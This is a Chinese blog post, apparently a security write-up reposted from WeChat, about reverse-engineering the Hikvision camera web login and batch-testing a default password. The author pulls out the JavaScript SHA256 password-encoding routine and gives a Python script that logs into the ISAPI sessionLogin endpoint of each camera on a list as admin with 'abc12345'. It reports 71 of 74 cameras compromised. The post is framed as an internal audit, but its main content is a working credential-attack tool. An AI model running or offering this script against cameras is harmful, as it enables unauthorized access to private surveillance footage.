No.0
起因
起因是给公司部署了一个主机扫描器,然后当然花了一晚上的时间对所有的内网IP段进行了资产扫描,扫出来 74 个海康威视的摄像头,然后查了一下它的历史漏洞,发现一个弱口令,然后把poc里的弱口令都试了一遍之后,发现是 abc12345 ,那接下来当然是看一下这 74 个摄像头是不是都有这个问题,那必然是不能呆呆的一个一个试下来,所以就想着写个脚本跑一遍,但是发现它的密码部分是动态加密的,所以就只能去逆向了,也就写出了这篇文章。
No.1
开整
1. 首先,海康威视的web端只支持 IE 浏览器,但是现在哪还有 IE 啊,好在 Edge 还有一个 IE 模式可以使用
2. 然后就是看一下这个登录的实现
3. 可以看出他是分了两步,首先获取一个 sessionID 以及 challenge/salt/iterations 这三个可能用作加密的参数,第二步验证账号密码的时候,密码就变成了加密值,所以我们需要打断点看一下,是怎么加密的
4. 我们输入验证密码的接口,也就是说这个时候已经加密完成了,我们只需要往前追密码从明文变成密文的那段代码就行了
5. 可以看到这里密码从明文变成了密文,那我们就要看这里的代码了
7. 好的,这里我们发现是 sha256,但是这个不是JS自己的库,所以我们还需要找一下这个 SHA256 的实现代码
8. 现在两个主要的加密代码已经找到了,那么剩下的就是写一个批量的脚本了,首先是把刚才找的的 js 粘贴过来,留着等下给 python代码调用
SQL
文件 encrypt.js
function encodePwd(passwd, t) {
var i = '';
var a = "123123"
if (a) {
i = SHA256(t.username + t.salt + passwd),
i = SHA256(i + t.challenge);
for (var n = 2; t.iterations > n; n++) i = SHA256(i)
} else {
i = SHA256(passwd) + t.challenge;
for (var n = 1; t.iterations > n; n++) i = SHA256(i)
}
return i
}
function SHA256(a) {
function b(a, b) {
var c = (a & 65535) + (b & 65535);
return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535
}
function c(a, b) {
return a >>> b | a << 32 - b
}
a = function (a) {
for (var a = a.replace(/rn/g, 'n'), b = '', c = 0; c < a.length; c++) {
var h = a.charCodeAt(c);
h < 128 ? b += String.fromCharCode(h) : (
h > 127 &&
h < 2048 ? b += String.fromCharCode(h >> 6 | 192) : (
b += String.fromCharCode(h >> 12 | 224),
b += String.fromCharCode(h >> 6 & 63 | 128)
),
b += String.fromCharCode(h & 63 | 128)
)
}
return b
}(a);
return function (a) {
for (var b = '', c = 0; c < a.length * 4; c++) b += '0123456789abcdef'.charAt(a[c >>
2] >> (3 - c % 4) * 8 + 4 & 15) + '0123456789abcdef'.charAt(a[c >> 2] >> (3 - c % 4) * 8 & 15);
return b
}(
function (a, e) {
var g = [
1116352408,
1899447441,
3049323471,
3921009573,
961987163,
1508970993,
2453635748,
2870763221,
3624381080,
310598401,
607225278,
1426881987,
1925078388,
2162078206,
2614888103,
3248222580,
3835390401,
4022224774,
264347078,
604807628,
770255983,
1249150122,
1555081692,
1996064986,
2554220882,
2821834349,
2952996808,
3210313671,
3336571891,
3584528711,
113926993,
338241895,
666307205,
773529912,
1294757372,
1396182291,
1695183700,
1986661051,
2177026350,
2456956037,
2730485921,
2820302411,
3259730800,
3345764771,
3516065817,
3600352804,
4094571909,
275423344,
430227734,
506948616,
659060556,
883997877,
958139571,
1322822218,
1537002063,
1747873779,
1955562222,
2024104815,
2227730452,
2361852424,
2428436474,
2756734187,
3204031479,
3329325298
],
h = [
1779033703,
3144134277,
1013904242,
2773480762,
1359893119,
2600822924,
528734635,
1541459225
],
f = Array(64),
o,
p,
q,
n,
k,
j,
l,
m,
s,
r,
u,
w;
a[e >> 5] |= 128 << 24 - e % 32;
a[(e + 64 >> 9 << 4) + 15] = e;
for (s = 0; s < a.length; s += 16) {
o = h[0];
p = h[1];
q = h[2];
n = h[3];
k = h[4];
j = h[5];
l = h[6];
m = h[7];
for (r = 0; r < 64; r++) f[r] = r < 16 ? a[r + s] : b(
b(
b(c(f[r - 2], 17) ^ c(f[r - 2], 19) ^ f[r - 2] >>> 10, f[r - 7]),
c(f[r - 15], 7) ^ c(f[r - 15], 18) ^ f[r - 15] >>> 3
),
f[r - 16]
),
u = b(b(b(b(m, c(k, 6) ^ c(k, 11) ^ c(k, 25)), k & j ^ ~k & l), g[r]), f[r]),
w = b(c(o, 2) ^ c(o, 13) ^ c(o, 22), o & p ^ o & q ^ p & q),
m = l,
l = j,
j = k,
k = b(n, u),
n = q,
q = p,
p = o,
o = b(u, w);
h[0] = b(o, h[0]);
h[1] = b(p, h[1]);
h[2] = b(q, h[2]);
h[3] = b(n, h[3]);
h[4] = b(k, h[4]);
h[5] = b(j, h[5]);
h[6] = b(l, h[6]);
h[7] = b(m, h[7])
}
return h
}(
function (a) {
for (var b = [], c = 0; c < a.length * 8; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << 24 - c % 32;
return b
}(a),
a.length * 8
)
)
}
9. 然后就比较简单了,导入之前的摄像头 ip 地址,然后写两个请求就可以了
import requests
import execjs
import xml.etree.ElementTree as ET
from alive_progress import alive_bar
from ExcelTools import ExcelTools
def login(session, ip, session_id,passwd):
url = f"http://{ip}/ISAPI/Security/sessionLogin"
data = f"""<SessionLogin><userName>admin</userName><password>{passwd}</password><sessionID>{session_id}</sessionID></SessionLogin>"""
response = session.post(url, data=data).content
return response
def get_salt(session, ip):
url = f"http://{ip}/ISAPI/Security/sessionLogin/capabilities?username=admin"
response = session.get(url).content
root = ET.fromstring(response)
namespace = {'space': "http://www.hikvision.com/ver20/XMLSchema"}
result = {
"session_id": root.find('space:sessionID', namespace).text,
"challenge": root.find('space:challenge', namespace).text,
"iterations": root.find('space:iterations', namespace).text,
"salt": root.find('space:salt', namespace).text,
"username": 'admin'
}
return result
def judge_result(request_result):
root = ET.fromstring(request_result)
# 检查是否存在命名空间
namespace = root.tag.split('}')[0] + "}" if '}' in root.tag else None
if namespace:
result = root.find(f'{namespace}statusValue').text
else:
result = root.find("statusValue").text
if result == "200":
return "密码正确"
else:
return "密码错误"
def encrypt(js_code, salt_key):
ctx = execjs.compile(js_code)
passwd = "abc12345"
result = ctx.call("encodePwd", passwd, salt_key)
return result
def main():
ip_list = ExcelTools.get_data("ip.xlsx")
js_code = open("encrypt.js", "r", encoding="utf-8").read()
output = []
with alive_bar(len(ip_list), force_tty=True) as bar:
for ip in ip_list:
bar()
session = requests.session()
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
})
salt_key = get_salt(session, ip["ip"])
passwd = encrypt(js_code, salt_key)
request_result = login(session, ip["ip"], salt_key["session_id"], passwd)
result = judge_result(request_result)
tmp = {
"ip": ip["ip"],
"登录结果": result
}
output.append(tmp)
ExcelTools.write_data(output, "output.xlsx")
if __name__ == '__main__':
main()
10. 最后跑完发现有 71 台摄像头是这个弱口令,只有三台被运维改了密码幸免于难,还有一台可以看到所有的监控录像
No.2
原文始发于微信公众号(隐雾安全):海康威视登录页面逆向
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论